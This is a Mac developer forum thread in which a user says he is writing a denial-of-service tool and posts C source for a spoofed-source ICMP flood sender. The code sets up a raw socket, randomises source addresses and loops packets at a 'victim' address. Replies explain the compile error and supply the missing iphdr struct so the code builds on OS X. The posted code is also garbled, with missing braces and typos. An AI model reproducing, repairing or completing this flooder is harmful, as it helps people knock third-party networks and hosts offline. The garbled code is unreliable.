New To Mac-Forums?

Welcome to our community! Join the discussion today by registering your FREE account. If you have any problems with the registration process, please contact us!

Get your questions answered by community gurus Advice and insight from world-class Apple enthusiasts Exclusive access to members-only contests, giveaways and deals

Join today!

Start a Discussion

Mac-Forums Brief

Subscribe to Mac-Forums Brief to receive special offers from Mac-Forums partners and sponsors

Join the conversation RSS
OS X - Development and Darwin Discussion and questions about development for Mac OS X.

Help to understand.

Post Reply New Thread Subscribe

Thread Tools

Member Since: Jun 24, 2010
Posts: 1
StranikS is on a distinguished road

StranikS is offline
Hi guys. I write code for dos attack. When I do attempt to build the project, got 2 errors.

Such as:
1. error: invalid application of 'sizeof' to incomplete type 'struct iphdr'
2. error: dereferencing pointer to incomplete type

2 in code
/* Fill the IP - header */ and /* Get a new IP - the source address if the first command line argument was specified random */
1 in code

char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr));
At Linux build is successful!

Xcode Version 3.0
OS Mac OS X Leopard 10.5.8

This code
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/*     Convert host name to IP - adвress     */
unsigned long resolve(char *hostname){

	struct hostent *hp;
	if((hp = gethostbyname(hostname)) == NULL){
			herror("gethostbyname() faild");
	return *(unsigned long *)hp -> h_addr_list[0];

/*		        Checksumming                */
unsigned short in_cksum(unsigned short *addr, int len){

	unsigned short result;
	unsigned int sum = 0;
	/* Adds all double-byte words */
	while(len > 1){
		sum += *addr++;
		len -= 2;
	/* If the left byte, we add it to the sum */
	if(len == 1) sum += *(unsigned char*) addr;
	sum = (sum >> 16) + (sum & 0xFFFF);
	/* Adds an Transfer */
	sum += (sum >> 16);
	/* again */
	result = ~sum;
	/* Invert the result */
	return result;

/*                  main()                   */
int main (int argc, const char * argv[]) {
	int sd, rnd = 0;
	const int on = 1;
	unsigned long dstaddr, srcaddr;
	struct sockaddr_in servaddr;
	char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
	struct iphdr *ip_hdr = (struct iphdr *)sendbuf;
	struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr));
	if(argc != 3){
		fprintf(stderr,"Usage: %s <source address | random> <destination address>\n", argv[0]);
	/* Creating RAW - socket */
	if((sd + socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
		perror("socket() faild");
	/* Since we own to fill in IP - header, set the option IP_HDRINCL */
	if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0){
		perror("setsockopt() faild");
	/* We provide the ability to send broadcast messages widely */
	if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)) < 0){
		perror("setsockopt() faild");
	/* If the first command line argument specified random, then the IP - the source address is chosen randomly */
	if(!strcmp(argv[1], "random")){
		rnd = 1;
		srcaddr = random();
	}else srcaddr = resolve(argv[1]);
	/* IP - address of the victim */
	dstaddr = resolve(argv[2]);
	bzero(&servaddr, sizeof(servaddr));
	servaddr.sin_family = AF_INET;
	servaddr.sin_addr.s_addr = dstaddr;
	/* Fill the IP - header */
	ip_hdr->ihl = 5;
	ip_hdr->version = 4;
	ip_hdr->tos     = 0;
	ip_hdr->tot_len = htons(sizeof(struct iphdr *) + sizeof(struct icmp) + 1400);
	ip_hdr->id       = 0;
	ip_hdr->frag_off = 0;
	ip_hdr->tt1      = 255;
	ip_hdr->protocol = IPPROTO_ICMP;
	ip_hdr->check = 0;
	ip_hdr->check = in_cksum((unsigned short *)ip_hdr, sizeof(struct iphdr *));
	ip_hdr->saddr = srcaddr;
	ip_hdr->daddr = dstaddr;
	/* Fill ICMP - header */
	icmp_hdr->icmp_type = ICMP_ECHO;
	icmp_hdr->icmp_code = 0;
	icmp_hdr->icmp_id = 1;
	icmp_hdr->icmp_seq = 1;
	icmp_hdr->icmp_cksum = 0;
	icmp_hdr->icmp_cksum = in_cksum((unsigned short *)icmp_hdr, sizeof(struct icmp) + 1400);
	/* In the endless cycle of sending packets */
		if(sendto(sd, sendbuf, sizeof(sendbuf), 0, (struct sockaddr *)&servaddr, 
				  sizeof(servaddr)) < 0){
					perror("sento() faild");
		/* Get a new IP - the source address if the first command line argument was specified random */
		if(rnd) ip_hdr->saddr = random();
    return 0;
QUOTE Thanks

Member Since: Feb 25, 2009
Posts: 2,109
Nethfel is a glorious beacon of lightNethfel is a glorious beacon of lightNethfel is a glorious beacon of lightNethfel is a glorious beacon of lightNethfel is a glorious beacon of lightNethfel is a glorious beacon of light
Mac Specs: Late 2013 rMBP, i7, 750m gpu, OSX versions 10.9.3, 10.10

Nethfel is offline
<-- update edit -->
I did a search on struct iphdr osx and it appears to not exist in the form you're using it. as you can see in this broken code: where it mentions struct iphdr not existing

I wouldn't be surprised if this line:
char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
still doesn't work quite right as you're dynamically declaring the size of an array using a method usually used for statically sized arrays (ie: using the []) At least the way I was taught, if you're creating an array that is dynamically sized (as sizeof is calculated at runtime not compile time) you'd use a pointer and malloc/free to allocate and release the memory.

<-- end update edit -->

<-- original post deleted -->

My Macs: Late 2013 rMBP w/ 750m; Mac mini G4, 1.25 GHz, 512m ram (server); Late 2011 11" MBA, 1.8GHz i7, 4Gig Ram, 256Gig SSD, HD3000; Powerbook 12" G4 1.33GHz running Debian as a server; Apple TV (1080p version)
QUOTE Thanks

Member Since: Apr 04, 2011
Posts: 1
sfinktah is on a distinguished road

sfinktah is offline
Since this was the first thing that popped up in google when I tried to solve the same problem, I have included the answer:

Just define the structure yourself.

struct iphdr 
    unsigned int ihl:4;
    unsigned int version:4;
    unsigned int version:4;
    unsigned int ihl:4;
# error  "Please fix <bits/endian.h>"
    u_int8_t tos;
    u_int16_t tot_len;
    u_int16_t id;
    u_int16_t frag_off;
    u_int8_t ttl;
    u_int8_t protocol;
    u_int16_t check;
    u_int32_t saddr;
    u_int32_t daddr;
    /*The options start here. */
QUOTE Thanks

Post Reply New Thread Subscribe

« Freelang Dictionary for MAC | Fortran Segmentation fault only on Snow Leopard »
Thread Tools

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are Off
Forum Jump

Similar Threads
Thread Starter
Last Post
Don't understand RAM in OS X CaptSaltyJack Switcher Hangout 10 10-09-2012 01:10 AM
Help to understand ortus Movies and Video 1 03-10-2008 02:39 AM
I just don't understand the attraction fleurya Other Hardware and Peripherals 35 05-21-2007 01:16 PM
Bumptunes...don't understand how to install crg23 OS X - Operating System 2 09-10-2006 09:12 PM

All times are GMT -4. The time now is 01:55 PM.

Powered by vBulletin
Copyright ©2000 - 2015, Jelsoft Enterprises Ltd.

Welcome to

Create your username to jump into the discussion!

New members like you have made this community the ultimate source for your Mac since 2003!

(4 digit year)

Already a member?